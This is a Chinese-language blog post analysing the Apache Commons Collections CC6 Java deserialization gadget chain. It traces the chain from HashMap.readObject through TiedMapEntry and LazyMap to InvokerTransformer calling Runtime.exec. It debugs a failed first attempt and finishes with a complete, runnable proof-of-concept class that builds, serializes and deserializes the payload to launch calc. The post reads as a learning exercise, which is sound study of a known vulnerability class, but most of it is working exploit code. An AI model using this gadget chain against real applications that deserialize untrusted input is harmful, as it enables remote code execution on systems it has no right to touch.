侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

CC6

咿呀咿呀
2022-07-28 / 0 评论 / 0 点赞 / 85 阅读 / 7,159 字
温馨提示:
本文最后更新于 2022-07-28,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。
调用链
HaspMap.readObject.hash()
	-->TiedMapEntry.hashCode()
		-->TiedMapEntry.getValue()
			-->LazyMap.get()
				-->ChainedTransformer.transformer()
					-->InvokerTransformer.transformer()

分析

从利用链可以看出和cc1部分相似,从LazyMap.get开始入手


ChainedTransformertransform是危险函数,下面来找找,谁的类调用了transform函数。

image-20220721072216271

LazyMap类的get方法调用了transform

protected final Transformer factory;

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
#get方法中 关键是 factory.transform  所以要对factory赋值。

再往上找找谁调用get方法,发现TiedMapEntrygetValue调用了get方法。

image-20220722080628311

只要控制map为LazyMap就可以调用LazyMap.get方法。

同类中hashCode方法中,其又调用了getValue方法

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

那么在这个类中:TiedMapEntry.hashCode-->TiedMapEntry.getValue-->get

看到这个hashcode就可以想到URLDNS链,想到HashMap类的readObject方法调用了hash方法

image-20220722081924939

hash方法调用了hashCode

image-20220722082002588

这样就和TiedMapEntry.hashCode衔接上了。

利用cc1的一部分

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("");
        HashMap<Object,Object> hashMap = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);

TiedMapEntry可以接收两个参数,一个map一个key。

public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }


   public Object getValue() {
        return map.get(key);
    }

想要调用LazyMap.get,map就得赋值为lazyMap,和任意key

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"yiya");

现在需要调用这个TiedMapEntry,使用一个新的HashMap。我们的目标是hash方法、而hash方法又调用了hashcode。所以我们实际上调用的是TiedMapEntry.hashCode

那么完整的poc为:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("");
        HashMap<Object,Object> hashMap = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"yiya");

        HashMap<Object,Object> hashMap2 = new HashMap<>();

        hashMap2.put(tiedMapEntry,"yiya");#这里用put方法触发hash

运行、会出现和URLDNS链一样的问题,序列化时也会执行calc.exe

hashmap2.put执行的时候会调用HashMap中的put方法,即会执行putval,就把整个链走完了。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

我们现在要做的就是暂不让执行这个put方法,那我们可以更改前面的链,也就是在调用那些transform的地方动手脚,只要不让他正确执行calc.exe,最后再把修改后的地方复原就好。

可以在传入chainedTransformer时 传入一个空的chainedTransformernew ConstantTransformer(1)

Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);

修改过后,反序列化中需要执行怎么办呢?

protected final Transformer factory;

public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

利用反射复原

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

那么现在完整的poc为:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashmap = new HashMap<>();
        hashmap.put("value","yiya");
        // Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Map<Object,Object> lazyMap = LazyMap.decorate(hashmap,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"yiya");

        HashMap<Object,Object> hashmap2 = new HashMap<>();
        hashmap2.put(tiedMapEntry,"yiya2");



        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

但是当我们 执行序列化和反序列后,发现并没有执行calc.exe

调试
hashmap2.put(tiedMapEntry,"yiya2");  #在此处下断点

发现问题出在LazyMap的get方法中

image-20220723184154495

集合类中的 Map.containsKey() 方法判断 Map 集合对象中是否包含指定的键名。如果 Map 集合中包含指定的键名,则返回 true,否则返回 false。

下一步

image-20220723184220386

直接到了return,并没有走到if中去,也就是说并没有执行factory.transform

所以在反序列之前需要移除已经存在的key

lazyMap.remove("yiya");

POC

所以完整的poc为:

package Cc6.yiyayiya.cn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Cc6 {


    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new  Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashmap = new HashMap<>();
        hashmap.put("value","yiya");
        // Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Map<Object,Object> lazyMap = LazyMap.decorate(hashmap,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"yiya");

        HashMap<Object,Object> hashmap2 = new HashMap<>();
        hashmap2.put(tiedMapEntry,"yiya2");
        lazyMap.remove("yiya");


        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

//        serialize(hashmap2);

        unserialize("ser6.bin");

    }





    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
参考

https://blog.csdn.net/RABCDXB/article/details/123963403

B站UP主:白日梦组长

0

评论区